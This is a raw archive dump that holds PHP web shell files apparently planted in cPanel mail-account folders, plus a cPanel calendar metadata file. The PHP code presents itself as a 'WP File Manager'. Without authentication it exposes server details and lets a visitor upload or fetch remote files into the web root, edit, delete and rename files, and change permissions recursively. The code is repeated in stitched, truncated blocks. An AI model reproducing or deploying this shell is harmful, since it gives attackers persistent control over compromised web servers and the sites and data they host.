← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]CO¹ò®Ë®Ë!info@monopolytravel-ks.com/ui.phpnu„[µü¤ uiiiiiiiXdsaXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK“&{]›¥øOBBerona@drsupernova.com/.metadatanu„[µü¤[addressbook] description Default Address Book automatically created for your account. displayname cPanel CardDAV Address Book protected 1 type VADDRESSBOOK [calendar] description Default Calendar automatically created for your account. displayname cPanel CalDAV Calendar calendar-color #ff6c2c protected 1 type VCALENDAR PK“&{]„N9³§Ë§Ëerona@drsupernova.com/cl.phpnu„[µü¤ cllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 